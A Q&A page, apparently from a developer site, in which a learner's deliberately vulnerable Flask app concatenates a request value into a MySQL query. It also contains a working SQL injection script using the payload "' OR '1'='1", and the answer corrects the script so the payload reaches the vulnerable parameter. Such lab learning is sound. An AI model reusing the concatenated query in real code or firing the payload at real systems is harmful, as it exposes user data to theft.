You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

为何SQL注入未返回数据?Flask应用SQLI漏洞利用求助

问题描述

我正在学习SQL注入(SQLI)漏洞,使用Flask搭建了一个包含多个漏洞字段的应用,其中一个漏洞字段为HTTP请求头。以下是应用相关代码:

# Página para configurar una cabecera HTTP con un valor especificado por el usuario
@app.route('/set_header')
def set_header():
    header_name = request.args.get('header_name', '')
    header_value = request.args.get('header_value', '')
    # Configurar la cabecera HTTP con el valor proporcionado por el usuario
    response = make_response("Cabecera configurada<br>")
    response.headers[header_name] = header_value
    
    # Buscar usuarios en la base de datos utilizando el valor de la cabecera
    usuarios_encontrados = buscar_usuario_por_cabecera(header_value)
    
    # Construir la respuesta HTML con los resultados
    html = "<h1>Información de la tabla usuarios</h1>"
    if usuarios_encontrados:
        html += "<ul>"
        for usuario in usuarios_encontrados:
            html += f"<li>{usuario}</li>"
        html += "</ul>"
    else:
        html += "<p>No se encontró información en la tabla usuarios.</p>"
    
    # Adjuntar el HTML a la respuesta
    response.set_data(response.get_data(as_text=True) + html)
    
    return response


# Función para buscar usuarios en la base de datos utilizando el valor de la cabecera HTTP
def buscar_usuario_por_cabecera(valor_cabecera):
    # Conexión a la base de datos MySQL
    conexion = mysql.connector.connect(**db_config)
    cursor = conexion.cursor()
    
    # Construcción de la consulta SQL concatenando directamente los valores
    consulta = "SELECT * FROM usuarios WHERE nombre = '" + valor_cabecera + "'"
    
    # Ejecución de la consulta SQL
    cursor.execute(consulta)
    
    # Obtención de los resultados de la consulta
    resultado = cursor.fetchall()
    
    # Si se explota la vulnerabilidad, imprimir la información de la tabla
    print("Información de la tabla usuarios:", resultado)
    
    # Cierre de la conexión a la base de datos
    conexion.close()

    # Retorno de los resultados de la consulta
    return resultado

我编写的漏洞利用代码如下:

import requests

# URL del punto de acceso vulnerable
url = 'http://127.0.0.1:5000/set_header'

# Payload malicioso para la inyección SQL
payload = "' OR '1'='1"

# Cabecera HTTP con el valor malicioso
headers = {'X-User': payload}

# Realizar la solicitud GET con la cabecera maliciosa
response = requests.get(url, headers=headers)

# Imprimir la respuesta del servidor
print(response.text)

但返回结果为:

Cabecera configurada<br><h1>Información de la tabla usuarios</h1><p>No se encontró información en la tabla usuarios.</p>

看起来所有步骤都正确,我怀疑问题出在漏洞利用代码上,请问如何修改才能成功获取注入数据?

问题分析

核心错误在于对漏洞点的误解:Flask应用中,buscar_usuario_por_cabecera函数使用的valor_cabecera参数,实际来自URL的header_value查询参数,而非请求头内容。你的利用代码把payload放在请求头里,导致数据库查询时传入的是空字符串(因为未传递header_value参数),自然无法返回数据。

修正后的漏洞利用代码

将payload通过URL的header_value参数传递即可,修改后的代码如下:

import requests

# URL del punto de acceso vulnerable
url = 'http://127.0.0.1:5000/set_header'

# Payload malicioso para la inyección SQL
payload = "' OR '1'='1"

# 将payload作为header_value查询参数传递
params = {'header_value': payload}

# Realizar la solicitud GET con el payload en los parámetros
response = requests.get(url, params=params)

# Imprimir la respuesta del servidor
print(response.text)

如果需要同时自定义响应头的名称,可以额外添加header_name参数,示例:

params = {'header_name': 'X-User', 'header_value': payload}

内容的提问来源于stack exchange,提问作者mdz

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.29 19:24:53